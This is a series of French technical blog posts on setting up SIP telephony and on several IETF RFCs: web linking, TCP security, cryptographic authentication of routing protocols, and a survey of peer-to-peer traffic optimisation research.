Les aventures d'un débutant dans le monde de la téléphonie SIP

Première rédaction de cet article le 29 octobre 2010
Dernière mise à jour le 1 novembre 2010


Personnellement, je suis plus à l'aise avec le shell et les scripts Python qu'avec les beautés merveilleuses du multimédia. Je sais envoyer et recevoir du courrier, me connecter en IRC ou en XMPP mais la téléphonie, c'est autre chose. Mais il ne faut jamais rester ignorant, et j'ai donc décidé d'essayer la téléphonie sur IP avec le protocole SIP. Deux motivations : apprendre un peu plus sur SIP et téléphoner moins cher.

Premièrement, un point important sur SIP. Ce protocole, décrit dans le RFC 3261 (et dans d'innombrables RFC auxiliaires), a de nombreuses possibilités et même les experts SIP (dont je ne fais pas partie) en oublient souvent. Par exemple, son mode de fonctionnement le plus courant, car calqué sur la téléphonie classique, consiste à avoir un compte chez un opérateur (SIP provider) comme, par exemple :

  • SIPgate, « Only for US residents »,
  • OVH, très bon marché,
  • VoIPcheap,
  • OnSIP qui, à en juger par ses prix, s'adresse à des utilisateurs professionnels,
  • mais aussi Ekiga ou SIP2SIP, purement IP et qui n'offrent pas de passerelle vers le PSTN mais qui sont gratuits.

Le logiciel SIP (le softphone) s'enregistre lors de son démarrage auprès dudit opérateur (section 10 du RFC 3261). Il pourra ensuite passer des coups de téléphone, y compris vers le traditionnel réseau téléphonique non-SIP, avec ses archaïques numéros. Mais SIP permet aussi des appels directs, de logiciel à logiciel, sans passer par un opérateur. Cela ne permet pas d'appeler les téléphones traditionnels (il faut bien que quelqu'un paie l'acheminement sur le réseau traditionnel, c'est l'opérateur si on est abonné). Cela ne permet pas non plus d'avoir un service de répondeur, cela ne permet pas d'appel entrant (si on est derrière un routeur NAT) mais, pour les appels sortants, c'est quand même cool. Et cela a l'avantage d'être une solution 100 % Internet, y compris dans son adressage (on se sert d'adresses SIP, des URI, comme helpdesk@voip.apnic.net et non plus de numéros de téléphone) et gratuite (ou, plus exactement, incluse dans le prix de l'accès à l'Internet). Et cela évite de confier ses données privées à un tiers. À noter enfin qu'on peut aussi être son propre opérateur, en installant son propre serveur, par exemple Kamailio (ex-OpenSER). Je n'ai pas testé cette solution.

Donc, pour résumer, pour faire du SIP, il faut :

et, si on veut aller vers le PSTN :

  • Un opérateur SIP. Étant abonné de Free, j'ai d'abord utilisé Freephonie, l'opérateur SIP de Free, qui est inclus dans l'abonnement de base.

Freephonie est un service très agréable. On le configure depuis sa console d'administration Free (« Téléphonie » -> « Gestion de mon compte SIP / Gérer mon téléphone wifi »). On reçoit une adresse SIP du type NNNNNNNN@freephonie.net (oui, hélas, l'adresse inclut un numéro de téléphone) et tous les appels que feront le logiciel SIP « viendront » du numéro de la Freebox. Attention toutefois, pour faire des économies en appelant des pays lointains, on ne peut pas utiliser Freephonie, qui ne marche plus avec l'étranger depuis 2007 (voir aussi http://www.universfreebox.com/article4058.html). On trouvera plein d'autres informations sur Freephonie sur le site non-officiel.

Je me suis ensuite abonné au service d'OVH. Techniquement, tout marche très bien, je peux appeler la Chine, on se comprend, il me reste à voir sur le long terme (suprises éventuelles pour la facturation), etc. L'interface du client (qu'OVH apelle le manager) est amusante car SIP y est un ajout récent et, pour voir la facture, il faut choisir un... « domaine » dont le nom est le numéro de téléphone.

Maintenant qu'on a un abonnement, avec un téléphone Android (en l'occurrence un HTC Desire), que se passe-t-il ? J'ai choisi pour l'instant le logiciel cSIPsimple. Il est libre, fait tout ce qu'on peut souhaiter, est activement développé, des nouvelles fonctions sont ajoutées lorsqu'on demande, il marche bien avec plusieurs comptes (et, dans une version actuellement beta, avec des comptes « locaux », sans opérateur). Parmi les choses agréables avec cSIPsimple, les « wizards » de configuration pour les opérateurs connus.

J'avais d'abord testé SIPdroid, logiciel libre. Il n'est pas évident à configurer, surtout si on a eu le malheur de le tester sans accès au réseau : c'est alors un festival de plantages. Si on est connecté à un réseau, ça marche mieux. La configuration est simple mais j'avoue ne pas comprendre pourquoi il y a deux menus « Réglages du compte SIP ». Est-ce pour permettre d'avoir plusieurs comptes ? Mais, alors, pourquoi seulement deux ? Et comment sélectionner l'un ou l'autre ? En tout cas, avec un compte Freephonie, tout marche (mettre le numéro de téléphone comme « Nom d'utilisateur pour l'authentification » et « Nom d'utilisateur appelant », et freephonie.net comme domaine). Je peux alors appeler un numéro de téléphone, qui verra un appel comme s'il venait de ma Freebox, et aux tarifs de Free, pas à ceux de l'opérateur mobile. Notez qu'il vaut mieux ne pas se tromper de numéro, en cas de problème, SIPdroid ne fournit aucune explication.

Je n'ai pas trouvé où configurer un compte « SIP direct », sans opérateur. Peut-être faut-il obligatoirement s'enregistrer à pbxes.org, comme semble l'indiquer la FAQ. Et je n'ai pas trouvé comment déclarer plusieurs comptes et passer facilement de l'un à l'autre. Globalement, SIPdroid m'a paru faible, côté finition. Un bon article sur sa configuration est http://www.android-software.fr/sipdroid et il y a un autre article sur sa configuration avec Freephonie.

Et avec 3cx, logiciel commercial ? Il y a nettement moins de problèmes. Comme SIPdroid, on peut configurer pour le service Freephonie et cela fonctionne, la documentation est claire. On peut aussi lire un article en français sur la configuration avec Freephonie.

Dans les deux cas, ces deux logiciels ne semblent pas permettre les appels directs en SIP pur, et 3cx ne semble même pas fournir de moyen d'indiquer un URI comme adresse à joindre.

Je n'ai pas non plus été convaincu par un autre logiciel libre, Linphone, qui ne permet apparemment que d'enregistrer un seul compte SIP, ce qui est peu réaliste : il n'y a pas d'opérateur SIP assez complet pour qu'on puisse n'utiliser que lui.

Et sur un PC avec un Unix ? J'ai testé sur une machine Debian le logiciel Twinkle. D'abord, un gros problème avec Linux : le son est toujours très difficile à configurer. J'arrive à écouter sans trop de problème mais enregistrer est une autre histoire. Il m'a fallu pas mal de réglages pour obtenir un son acceptable (merci à Vincent Tondellier et Jean-Yves F. Barbier pour leur aide). Pour tester, j'enregistre du son avec :

% arecord -f cd -d 3 /tmp/test-mic.wav
Recording WAVE '/tmp/test-mic.wav' : Signed 16 bit Little Endian, \
  Rate 44100 Hz, Stereo

Et j'écoute le fichier résultant avec aplay ou mplayer. Ma carte son est :

% lspci
...
00:1b.0 Audio device: Intel Corporation 82801I (ICH9 Family) HD Audio Controller (rev 02)
...
% arecord -l
**** List of CAPTURE Hardware Devices ****
card 0: Intel [HDA Intel], device 0: ALC883 Analog [ALC883 Analog]
  Subdevices: 1/1
  Subdevice #0: subdevice #0
card 0: Intel [HDA Intel], device 1: ALC883 Digital [ALC883 Digital]
  Subdevices: 1/1
  Subdevice #0: subdevice #0
card 0: Intel [HDA Intel], device 2: ALC883 Analog [ALC883 Analog]
  Subdevices: 1/1
  Subdevice #0: subdevice #0

À l'heure actuelle, la qualité sonore est encore perfectible, il va falloir que je continue les réglages. Sur un autre PC, avec une autre carte son, cela marche nettement mieux. Le son, sur Linux, ce n'est pas facile. Règle générale du son sur Linux : 95 % des problèmes se résolvent depuis alsamixer. Par exemple, à mes débuts, dans la vue "Capture" :

  • Les "Input source" étaient à "Mic" alors qu'il fallait indiquer "Front mic", le micro avant de mon PC.
  • Les "Capture" n'étaient pas activés (barre d'espacement, un L et un R doivent alors apparaître). En raison de ces deux premiers points, je n'enregistrais que du silence.
  • Les valeurs de "Capture" et "Digital" étaient trop élevées (dans la zone rouge). Le son saturait complètement. J'ai abaissé jusqu'à la zone verte.

En attendant, Twinkle, lui, fonctionne bien. Le configurer pour le service Freephonie est simple (User name et Authentication name le numéro de téléphone Free et Domain freephonie.net) et cela fonctionne.

Twinkle gère facilement des profils multiples et permet de passer de l'un à l'autre. Si on laisse le champ Authentication name vide, Twinkle n'essaie pas de s'enregistrer et on peut faire sans problème des appels directs, sans opérateur.

Au fait, pour tester SIP, sans déranger ses copains en les appelant toutes les trente secondes pour vérifier le résultat d'un changement de réglage, il existe plusieurs listes de numéros ou d'URI à appeler, avec un robot en face :

Pour les appels SIP directs, j'ai surtout utilisé l'excellent service d'écho echo@iptel.org, qui vous répète ce que vous lui dites au téléphone. Si vous aimez regarder des paquets sur pcapr.net, une session complète entre Twinkle et ce service figure en http://www.pcapr.net/view/bortzmeyer+pcapr/2010/9/4/13/sip-direct.pcap.html. De nombreuses autres traces SIP sont disponibles. Apparemment (mais je ne l'ai pas testé), 123@voip.w3.org fournit un service d'écho équivalent à celui d'Iptel.

Un bon article d'introduction à Twinkle est « Twinkle: My favorite SIP program ». Et merci à Christophe Wolfhugel pour ses conseils très détaillés.


L'article seul

RFC 5988: Web Linking

Date de publication du RFC : Octobre 2010
Auteur(s) du RFC : M. Nottingham
Chemin des normes
Première rédaction de cet article le 29 octobre 2010


Le lien est à la base du Web. Mais, malgré plusieurs tentatives, deux choses manquaient aux liens Web que ce RFC est venu combler :

  • Un registre des types de lien,
  • Un mécanisme standard pour indiquer un lien dans une réponse HTTP.

Il a depuis été remplacé par le RFC 8288.

Bien sûr, des formats normalisés qui permettent des liens, il y en a plusieurs, et avant tout HTML, avec le fameux élément <A> (pour anchor). Il y a aussi le plus récent Atom (RFC 4287, notamment la section 4.2.7). Comme HTML, Atom avait l'idée de registre des types de liens, mais ces types étaient spécifiques à Atom. L'une des idées phares de ce RFC 5988 est de généraliser le concept de type de lien et de le rendre accessible à tous les formats et protocoles qui en ont besoin. Ce RFC décrit un cadre général pour les types de liens, en partant de celui d'Atom.

Second apport de cette nouvelle norme, une (re-)définition de l'en-tête HTTP Link:, utilisant évidemment le nouveau cadre général. Cet en-tête permettant d'indiquer un lien dans la réponse HTTP, indépendamment du document servi avait été normalisé dans le RFC 2068, section 19.6.2.4, puis, peu utilisé, avait été supprimé par le RFC 2616, avant de faire se réapparition ici, sous une forme quasi-identique à l'original. On peut voir cet en-tête comme une représentation concrète du cadre de notre RFC. D'autres apparaîtront sans doute.

Pour un exemple réel, regardez les en-têtes Link: de mon blog, il y en a un de type licence, suivant le RFC 4946. Avec Apache, cela se configure simplement avec le module headers et la directive Header set Link "<http://www.gnu.org/copyleft/fdl.html>; rel=\"license\"; title=\"GFDL\"".

Donc, qu'est-ce qu'un lien ? La section 3, la principale du RFC, le définit comme une connexion typée entre deux ressources (une ressource étant typiquement une page Web). Les ressources sont représentées par leur IRI (cf. RFC 3987, en notant que, dans la plupart des cas, les IRI des liens seront des URI). Le lien comprend :

  • Un IRI qui indique le contexte, c'est-à-dire le la ressource de départ,
  • Le type de la connexion (détaillé en section 4),
  • L'IRI cible,
  • D'éventuels attributs de la cible (comme par exemple le hreflang de HTML). Ce sont des couples clé/valeur.

Par exemple, dans le flux de syndication Atom de mon blog, on trouvera un lien <atom:link rel="alternate" href="http://www.bortzmeyer.org/expose-go.html"/> qui se décompose en un contexte (l'entrée Atom dont l'IRI est tag:bortzmeyer.org,2006-02:Blog/expose-go), un type (alternate, qui indique une version alternative de la ressource, ici une page HTML au lieu d'une entrée Atom), et une cible (ici http://www.bortzmeyer.org/expose-go.html). Il n'y a pas dans cet exemple d'attributs de la cible mais Atom en permet (par exemple hfrelang pour indiquer la langue de la cible ou bien length pour indiquer sa longueur - afin de prévenir d'un long téléchargement, par exemple).

Cette définition du lien ne place aucune limite sur la cardinalité. Il peut y avoir zéro, un ou plusieurs liens partant d'une ressource et c'est la même chose pour les lients entrants.

La section 3 s'arrête là. Puisque ce RFC propose un cadre générale, il ne formalise pas une syntaxe unique pour représenter les liens. Chaque format, chaque protocole, aura la sienne.

Un des points les plus importants de cette définition des liens, et qui est souvent ignorée des gens qui écrivent des pages Web, est la notion de type d'un lien (section 4). Par exemple, on pourrait imaginer un type copyright qui associerait, via un lien, un document à l'auteur de celui-ci. Point à retenir : ce type du lien ne doit pas être confondu avec le type de médium du RFC 6838 comme text/html ou audio/ogg.

Il y a deux sortes de type de lien : enregistrés ou bien extensions. Les premiers font l'objet de la section 4.1. Ils ont fait l'objet d'un processus formel d'enregistrement (qui a été discuté jusqu'au dernier moment) et leur liste est publiée sous forme d'un registre IANA. On y trouve par exemple via (RFC 4287) ou hub (http://pubsubhubbub.googlecode.com).

Les extensions sont spécifiées dans la section 4.2. L'idée est que, si on n'a pas envie de se fatiguer à enregistrer un type de lien, et qu'on veut quand même créer un type unique, n'ayant pas de risque de collision avec le travail des autres, on peut simplement se servir d'un URI (forcément unique) pour indiquer le type. Cette URI peut (mais ce n'est pas obligé) mener à une page Web qui décrira le type en question. Ainsi, on pourrait imaginer de réécrire le lien plus haut en <atom:link rel="http://www.bortzmeyer.org/reg/my-link-type" href="http://www.bortzmeyer.org/expose-go.html"/> (en pratique, le format Atom ne permet pas actuellement de telles valeurs pour l'attribut rel.)

Après le cadre général de description des liens, notre RFC introduit une syntaxe concrète pour le cas de l'en-tête Link: des requêtes HTTP. Les autres formats et protocoles devront s'ajuster à ce cadre chacun de son côté. Pour HTTP, la section 5 décrit l'en-tête Link:. La cible doit être un URI (et un éventuel IRI doit donc être transformé en URI), le contexte (l'origine) est la ressource qui avait été demandée en HTTP et le type est indiqué dans le paramètre rel. (Le paramètre rev qui avait été utilisé dans des vieilles versions est officiellement abandonné.) Plusieurs attributs sont possibles comme hreflang, type (qui est le type MIME, pas le type du lien) ou title (qui peut être noté title* s'il utilise les en-têtes étendus du RFC 5987). Pour la plupart de ces attributs, leur valeur est juste une indication, la vraie valeur sera obtenue en accédant à la ressource cible. Ainsi, hreflang dans le lien ne remplace pas Content-Language: dans la réponse et type ne gagnera pas si un Content-Type: différent est indiqué dans la réponse.

Voici des exemples d'en-têtes, tirés de la section 5.5 du RFC :

Link: <http://www.example.com/MyBook/chapter2> rel="previous";
    title="Previous chapter"

Ici, cet en-tête, dans une réponse HTTP, indique que http://www.example.com/MyBook/chapter2 est une ressource liée à la ressource qu'on vient de récupérer et que ce lien est de type previous, donc précède la ressource actuelle dans l'ordre de lecture. L'attribut title indique un titre relatif, alors que la vraie ressource http://www.example.com/MyBook/chapter2 aura probablement un titre du genre « Chapitre 2 ». En application des règles de la section 5.4, c'est ce dernier titre qui gagnera au final.

Un seul en-tête Link: peut indiquer plusieurs liens, comme dans l'exemple suivant :


   Link: </TheBook/chapter2>;
         rel="previous"; title*=UTF-8'de'letztes%20Kapitel,
         </TheBook/chapter4>;
         rel="next"; title*=UTF-8'de'n%c3%a4chstes%20Kapitel

Ce dernier montre également les en-têtes complètement internationalisés du RFC 5987, ici en allemand (étiquette de langue de).

Cet en-tête a été enregistré à l'IANA, en application du RFC 3864 dans le registre des en-têtes (section 6.1).

D'autre part, le registre des types de liens est désormais officiellement créé, remplaçant des registres qui étaient spécifiques à un format ou protocole (comme celui d'Atom, qui avait été créé par le RFC 4287). La section 6.2 décrit en détail ce nouveau registre. Voici, à titre d'exemple, quelques-uns des valeurs qu'on peut y trouver :

  • copyright qui indique le copyright du document (issu de la norme HTML),
  • edit qui indique l'URI à utiliser pour une modification de ce document, comme le permet le protocole APP (RFC 5023),
  • first, qui pointe vers le premier document de la série (défini par ce RFC 5988, même s'il était déjà enregistré),
  • hub qui indique l'endroit où s'abonner pour des notifications ultérieures, suivant le protocole PubSubHubbub),
  • latest-version qui indique où trouver la dernière version d'un document versionné (RFC 5829),
  • licence, qui associe un document à sa licence d'utilisation (RFC 4946),
  • next-archive, qui indique le document archivé suivant (RFC 5005),
  • related, qui indique un document qui a un rapport avec celui-ci (créé pour Atom, dans le RFC 4287),
  • replies, qui indique les réponses faites à ce document (pour mettre en œuvre le threading, RFC 4685),
  • Et bien d'autres encore...

Ce registre est peuplé par le mécanisme dit Designated Expert (cf. RFC 5226), avec exigence d'une norme écrite (l'actuel expert est Mark Nottingham, auteur de plusieurs RFC, dont celui-ci). Pour chaque type, il faudra indiquer le type (aussi nommé relation, comme par exemple previous plus haut), une description et une référence à la norme qui le formalise. Les demandes d'enregistrement sont reçues par link-relations@ietf.org. Par exemple, en novembre 2010, des relations comme search ou help (lien vers une aide en ligne) ont été ajoutées.

Attention, ce n'est pas parce qu'il y a un lien qu'il faut le suivre automatiquement. La section 7, sur la sécurité, met en garde contre la confiance accordée à un lien.

L'annexe A contient une discussion de l'utilisation des liens avec HTML 4, d'où le cadre actuel de définition des liens est issu. Le type y est indiqué par l'attribut rel. Un exemple indiquant la licence en XHTML est donc :


<link rel="license" type="text/html" title="GFDL in HTML format"
      href="http://www.gnu.org/copyleft/fdl.html"/>

L'annexe B discute, elle, de l'utilisation du cadre de définition des liens en Atom, qui utilise l'élément <atom:link> avec les attributs href pour indiquer la cible et rel pour le type. Par exemple, <atom:link rel="license" type="text/html" title="GFDL in HTML format" href="http://www.gnu.org/copyleft/fdl.html"/> indiquera la licence du flux Atom qui contient cet élément (et, oui, Atom et XHTML ont quasiment la même syntaxe).


Téléchargez le RFC 5988


L'article seul

La sécurité de TCP : plein de nouveaux RFC depuis trois ans

Première rédaction de cet article le 28 octobre 2010


Le protocole de transport TCP, normalisé dans le RFC 793 il y a presque trente ans, est le cheval de labour numéro 1 de l'Internet. Malgré l'utilisation intensive d'UDP pour certains transferts de vidéo, malgré la présence de concurrents plus récents, plus perfectionnés, mais nettement moins utilisés, comme SCTP, la grande majorité des octets de données qui voyagent sur l'Internet le font dans un paquet TCP. Mais TCP n'est pas un modèle de sécurité. Tel qu'il était mis en œuvre à l'origine, il était trop facile à tromper, on pouvait couper une connexion, voire injecter de fausses données. Petit à petit, ces failles ont été comblées, notamment par l'excellent travail du groupe IETF tcpm (TCP Maintenance and Minor Extensions). Ce court article résume les principaux RFC sur la sécurité de TCP.

Le premier a sans doute été le RFC 4953 qui exposait le principe des attaques par fabrication de faux paquets TCP et donnait quelques pistes de solutions. Des protocoles de sécurité au niveau applicatif comme SSH (RFC 4251) ne résolvent pas ces problèmes : la connexion TCP sous-jacente peut toujours être ralentie ou coupée par de faux paquets. Il fallait donc des solutions au niveau de TCP.

Ensuite, le RFC 5927, en juillet 2010, se focalisait sur les attaques utilisant ICMP, avec des paquets de contrôle prétendant être lié à une connexion TCP (ces attaques ICMP contre TCP avaient été découvertes par Fernando Gont en 2005). Il fournit sur son site un outil complet pour les exploiter. Le RFC 5927 appelle les programmeurs de TCP à accepter avec plus de prudence les paquets ICMP.

Certaines attaques peuvent se faire entièrement par TCP, comme les attaques RST, documentées dans le RFC 5961, en août 2010, ainsi que les solutions proposées (là encore, accepter les paquets entrants avec moins de confiance, et notamment vérifier les numéros de séquence).

Enfin, le RFC 6056 sur l'aléatoirisation des numéros de port. Son idée est de compliquer la tâche des attaquants aveugles, en rendant peu prévisible l'un des éléments qui permettent l'identification d'un paquet TCP, le numéro de port. Cette sécurité est déjà mise en œuvre dans tous les Unix libres (à l'exception de NetBSD).

Certes, toutes les attaques décrites ici pourraient être évitées en généralisant l'usage d'IPsec (RFC 4301). Mais ce protocole de sécurité, bien trop complexe, pas toujours présent dans les implémentations, celles-ci étant par ailleurs mal documentées, reste peu utilisé. D'où l'idée de solutions moins générales mais qui peuvent apporter un réel progrès de sécurité à TCP, comme l'option d'authentification du RFC 5925. On peut noter que, contrairement aux solutions indiquées plus haut (contrôle de la vraisemblance des numéros de séquence, choix d'un port non prévisible), l'option d'authentification fonctionne non seulement contre l'attaquant aveugle, qui ne peut pas sniffer le réseau, mais aussi contre celui qui peut regarder à loisir les paquets qui passent.

Un bon article expliquant de manière très pédagogique les problèmes de sécurité de TCP (mais, très ancien, il ne contient pas grand'chose sur les solutions) est « TCP/IP Security de Chris Chambers, Justin Dolske, et Jayaraman Iyer.


L'article seul

RFC 6039: Issues with existing Cryptographic Protection Methods for Routing Protocols

Date de publication du RFC : Octobre 2010
Auteur(s) du RFC : Vishwas Manral (IP Infusion), Manav Bhatia (Alcatel-Lucent), Joel Jaeggli (Checkpoint Software), Russ White (Cisco Systems)
Pour information
Réalisé dans le cadre du groupe de travail IETF opsec
Première rédaction de cet article le 24 octobre 2010


Le groupe de travail IETF opsec travaille à améliorer la sécurité des protocole de routage. Ce RFC du groupe (l'un des premiers, après les très intéressants RFC 4778 et RFC 5635) fait le point sur l'utilisation actuelle de la cryptographie dans ces protocoles et ses limites, les problèmes qu'elle soulève, notamment de gestion des clés.

Plusieurs protocoles de routage ont des mécanismes standards pour protéger par la cryptographie les informations transmises. OSPF v2 (RFC 2328), OSPF v3 (RFC 5340), IS-IS (RFC 1195), BGP (RFC 4271), ou des protocoles qui, sans être à proprement parler « de routage », en sont néanmoins proches comme BFD (RFC 5880), sont tous capables de prendre un condensat cryptographique de l'information transmise, en utilisant une fonction de hachage comme MD5 (RFC 1321) et une clé secrète. Le routeur récepteur, s'il a la même clé secrète, peut refaire le calcul du condensat et, s'il trouve la même valeur, être rassuré que le message vient bien d'un routeur autorisé, et qu'il n'a pas été modifié en route. (On notera que l'utilisation de protocoles à clés publiques est infiniment plus rare, au point d'être à peine mentionné dans le RFC.)

Notons que ces protocoles n'assurent pas de service de confidentialité : un méchant qui espionne la communication entre deux routeurs peut toujours apprendre les routes échangées.

Comme le note la section 1 du RFC, qui étudie les problèmes génériques, communs à tous les protocoles de routage, cette approche a des limites : l'utilisation de clés secrètes partagées entraine une gestion manuelle des clés, plutôt pénible. Remplacer une clé compromise est ainsi une opération longue et risquée (il est facile d'oublier un routeur, ce qui cassera les communication entre les routeurs ayant la nouvelle clé et les autres). D'autre part, plusieurs cas existent où les attaques par rejeu sont possibles.

Comme le note la section 1.1, la fonction de hachage la plus couramment utilisée est MD5. Celle-ci n'est pas sans reproche, cryptographiquement parlant. Des attaques par collision (trouver deux messages qui ont le même condensat cryptographique) ont déjà été publiées par exemple par Xiaoyun Wang, Xuejia Lai, Dengguo Feng & Hongbo Yu, dans « Collisions for hash functions MD4, MD5, HAVAL-128, and RIPEMD », Crypto 2004 Rump Session. En revanche, des attaques dites « pré-image » (où on produit un message qui a le même condensat qu'un message donné, ce qui est beaucoup plus difficile qu'une attaque par collision) ne semblent pas avoir été publiées. Pour le cas particulier des protocoles de routage, les collisions ne sont pas trop à craindre car beaucoup de champs dans un message ne peuvent pas prendre des valeurs arbitraires (par exemple, dans OSPF le champ « Link State Advertisement function code - section A.4.2.1 du RFC 5340 - peut valoir seulement de 1 à 14). Pour les attaques pré-image, elle seraient sans doute plus graves, mais la taille relativement limitée des messages de routage limite sans doute les risques d'exploitation effective.

SHA-1 a aussi ses faiblesses (section 1.2) mais il faut bien voir qu'elles ne sont pas réellement utilisables pour une attaque, dans les conditions spécifiques des protocoles de routage (cf. RFC 4270 pour un bon arrière-plan sur la question.)

Les sections suivantes détaillent ensuite les problèmes pour le cas spécifique de chaque protocole. À chaque fois, sont indiqués les problèmes d'ordre pratique (gestion des clés) et ceux d'ordre technique (faiblesses dans le protocole). OSPF v2 fait l'objet de la section 2. Les routeurs OSPF d'un même réseau peuvent s'authentifier en condensant les paquets et une clé secrète avec MD5 (RFC 2328, annexe D.3). Cette clé se configure avec :

interface eth0
  ip ospf authentication message-digest
  ip ospf message-digest-key 1 md5 MACLESECRETE

sur Quagga et avec :

authentication-type md5;
	interface fe-0/0/1.0 {
	     authentication {
	         md5 1 key "$9$dEbgoZUjqP5GUApO1hcgoaJHq"; MACLESECRETE 
	     }
	}

sur JunOS. Il existe aussi un mécanisme expérimental de signature des messages par des clés asymétriques (RFC 2154) mais qui n'a apparemment jamais été déployé.

Le condensat cryptographique s'applique aux messages échangés entre routeurs, pas à l'information de routage elle-même. Autrement dit, MD5 dans OSPF sécurise le canal mais pas le message (le LSA). OSPF ne fournit aucun mécanisme de négociation de paramètres comme l'algorithme de hachage utilisé. Si on veut utiliser SHA (RFC 5709), tous les routeurs d'un même lien doivent être manuellement configurés de manière identique. D'une manière générale, tout changement dans les clés doit faire l'objet d'une prudente intervention planifiée et manuellement exécutée.

L'authentification cryptographique dans OSPF a aussi des problèmes techniques (section 2.2) comme le fait que la même clé soit utilisé pour tous les routeurs d'un même réseau Ethernet, obligeant à largement partager le secret.

Pour OSPF v3 (RFC 5340 et section 3), encore peu déployé, la situation est toute différente. Il n'a pas de mécanisme d'authentification intrinsèque et ses utilisateurs sont censés s'appuyer sur IPsec (par exemple RFC 4303, sans chiffrement, comme spécifié dans le RFC 2410, pour avoir juste la signature). La norme de sécurité d'OSPF v3 (RFC 4552) précise que les clés IPsec doivent être gérées manuellement, pas avec un protocole comme IKE parce que le modèle de fonctionnement d'OSPF (un-vers-plusieurs) est très particulier.

Même si le RFC n'en dit pas un mot, le principal problème d'OSPF v3, aussi bien technique que pratique, est qu'IPsec est très peu déployé et que peu d'administrateurs réseaux ont envie de s'y mettre pour assurer une fonction qui, en OSPF v2, ne prenait que deux lignes de configuration.

Et le concurrent d'OSPF, IS-IS (RFC 1195 et section 4 de notre RFC) ? Lui aussi peut utiliser MD5 pour l'authentification (voir RFC 5304). Mais, contrairement à OSPF, la signature porte sur l'annonce d'état d'un lien, pas sur un message échangé entre deux routeurs. Cela veut dire qu'on peut authentifier un routeur distant, mais cela oblige (section 4.1) tous les routeurs à avoir la même clé... Comme OSPF, pas moyen de négocier la clé, ou l'algorithme de condensation. Si on veut remplacer MD5 par SHA-256, un gros travail de gestion est à prévoir.

Faut-il également parler de l'antédiluvien RIP ? La section 6 lui consacre quelques paragraphes. La version historique, dans le RFC 1058, avait zéro service de sécurité. La version 2, actuellement normalisée dans le RFC 2453, et dispose désormais d'un mécanisme d'authentification analogue à ceux des autres protocoles (cf. RFC 4822).

Bien que n'étant pas un protocole de routage, BFD (RFC 5880) est tellement souvent utilisé dans les routeurs qu'il mérite sa section de ce RFC, la 7. BFD sert à détecter la panne d'une liaison. Il dispose d'un mécanisme d'authentification optionnel (sections 4.2 et 6.7 du RFC 5880), à clés partagées. Il hérite donc des problèmes de gestion de clés de ce système.

Et BGP, vedette des protocoles utilisés sur l'Internet, puisque c'est lui qui assure le routage entre opérateurs ? La section 5 détaille ce protocole. BGP est forcément transporté sur TCP. Il peut donc utiliser les options d'authentification de TCP comme celle du RFC 2385 (très répandue en pratique dans le monde BGP) ou bien celle du RFC 5925, plus récente, bien meilleure et plus rare en pratique. Pour cette raison, notre RFC 6039 ne couvre que l'authentification MD5 du RFC 2385. Parmi les problèmes de gestion, il y a le fait que BGP est typiquement utilisé de part et d'autre d'une frontière administrative. Cela complique sérieusement les opérations de gestion de clés. Par exemple, quand avez-vous pour la dernière fois changé un mot de passe MD5 sur une session BGP avec un pair ? (Réponse : vous ne l'avez probablement jamais fait.) Sur un gros point d'échange, un routeur BGP peut se connecter à des dizaines, voire des centaines de pairs, et la gestion des « mots de passe MD5 » pour tous ces pairs est un défi. En général, on ne complique pas ce défi en essayant de suivre des bonnes pratiques, comme le changement des mots de passe...

Et les problèmes techniques de BGP ? Comme il utilise TCP, il profite de ses mécanismes de sécurité (comme les numéros de séquence qui protègent des rejeux) et il hérite de ses faiblesses (voir l'excellent exposé de Convery & Franz à Black Hat, « BGP Vulnerability Testing: Separating Fact from FUD », un modèle pour toute analyse de la sécurité). À plusieurs reprises, les fabricants de routeurs BGP ont dû mettre à jour leur logiciel pour traiter ces vulnérabilités.

À noter que le RFC ne mentionne pas du tout ce qui est probablement la plus grosse faiblesse de sécurité de BGP : le fait qu'on puisse authentifier le voisin, mais pas l'information qu'il envoie (ou relaie). Savoir que c'est bien mon pair 2001:db8:face:b00c::1 avec qui je parle, c'est très bien mais, lorsqu'il annonce une route vers 2001:db8:137::/48, comment savoir s'il a le droit de le faire ou bien si Pakistan Telecom a fait mumuse ? Il n'existe pour l'instant aucun protocole standard pour cela.


Téléchargez le RFC 6039


L'article seul

RFC 6029: A Survey on Research on the Application-Layer Traffic Optimization (ALTO) Problem

Date de publication du RFC : Octobre 2010
Auteur(s) du RFC : I. Rimac, V. Hilt, M. Tomsu, V. Gurbani (Bell Labs, Alcatel-Lucent), E. Marocco (Telecom Italia)
Pour information
Première rédaction de cet article le 23 octobre 2010


Dans le cadre des travaux menés à l'IETF (groupe de travail ALTO, RFC 5594, etc) et à l'IRTF sur le problème de l'optimisation du transfert de fichiers en pair-à-pair, ce RFC sert de bibliographie : il rassemble des pointeurs, classés et organisés, sur la littérature existante en matière d'optimisation, de recherche du « meilleur pair ».

Le pair-à-pair est un concept difficile à définir et encore plus à mesurer. D'autant plus, même si le RFC ne mentionne pas ce problème, que la répression dont il fait l'objet à l'instigation des ultras de l'appropriation intellectuelle oblige ses utilisateurs à diverses astuces pour dissimuler son utilisation, rendant ainsi les statistiques difficiles. Par exemple, les estimations de la part de trafic qui revient au pair-à-pair varient de 40 à 85 %... Une chose est sûre, cela représente un trafic important, et qu'il est donc logique de chercher à optimiser. Lorsqu'on utilise le pair-à-pair pour des transferts de fichier (avec des systèmes comme BitTorrent), le contenu convoité est répliqué sur de nombreux pairs à travers le monde (section 1 du RFC). Le problème est « Quel pair utiliser ? » Isolé, le pair qui veut récupérer un fichier ne peut utiliser que le hasard, ou bien des mesures qu'il fait lui-même et qui sont souvent imparfaites (par exemple, la mesure de la latence avec un ping ne donne qu'une vague idée du débit qu'on obtiendra). La DHT typique ne donne que des optimisations locales, qui ne sont pas forcément bonnes globalement. C'est le problème central de l'optimisation, décrit dans le RFC 5693.

Il y a plusieurs solutions à ce problème, comme des réseaux de machines faisant des mesures applicatives et donnant accès au résultat de ces mesures (Azureus le fait), ou bien comme des fournitures d'information aux pairs par le FAI, pour que les destinataires puissent prendre des décisions informées. Ce RFC résume la littérature existante sur ces solutions, en s'appuyant sur le RFC 4981.

La section 2 du RFC examine les résultats de recherche publiés sur ce thème, comme « The impact of DHT routing geometry on resilience and proximity » de Gummadi, K., Gummadi, R., Gribble, S., Ratnasamy, S., Shenker, S., et I. Stoica, qui étudie la relation entre le réseau overlay de plusieurs algorithmes de DHT et le réseau physique sous-jacent. Leur conclusion est notamment que les géométries les plus simples (comme l'anneau) sont les meilleures.

Pour les autres résultats de recherche, la section 2 les classe en deux groupes : les méthodes fondées sur des mesures faites uniquement par l'application (comme Meridian) et celles fondées sur une coopération entre les couches (comme P4P).

